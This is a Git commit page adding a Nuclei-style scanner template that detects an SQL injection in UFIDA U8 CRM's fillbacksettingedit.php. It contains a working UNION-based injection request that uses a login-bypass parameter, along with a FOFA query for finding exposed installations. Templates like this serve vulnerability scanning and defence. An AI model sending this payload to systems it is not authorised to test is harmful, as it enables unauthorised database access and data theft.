Merge pull request #10963 from Kazgangap/u8s

add u8 sqli
patch-12
Ritik Chaddha 2024-10-18 17:04:31 +05:30 committed by GitHub
commit 5438a2440c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 39 additions and 0 deletions

View File

@ -0,0 +1,39 @@
id: yonyou-u8-crm-sqli
info:
name: UFIDA U8 CRM cfillbacksetting.php - SQL Injection
author: s4e-io
severity: high
description: |
UFIDA U8-CRM system /config/fillbacksetting.php contains an SQL injection vulnerability, which allows attackers to manipulate the database through maliciously constructed SQL statements, resulting in data leaks, tampering or destruction, and seriously threatening system security.
reference:
- https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BU8-CRM%E7%B3%BB%E7%BB%9Ffillbacksetting.php%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
metadata:
verified: true
max-request: 1
fofa-query: title="用友U8CRM"
tags: yonyou,u8-crm,sqli
http:
- raw:
- |
GET /config/fillbacksettingedit.php?DontCheckLogin=1&action=edit&id=1+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,@@VERSION,NULL,NULL--+ HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=bgsesstimeout-;
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "src_obj_type\":\"businesInfo\",\"src_fld"
- type: regex
part: body
negative: true
regex:
- "src_fld\":null"
- type: status
status:
- 200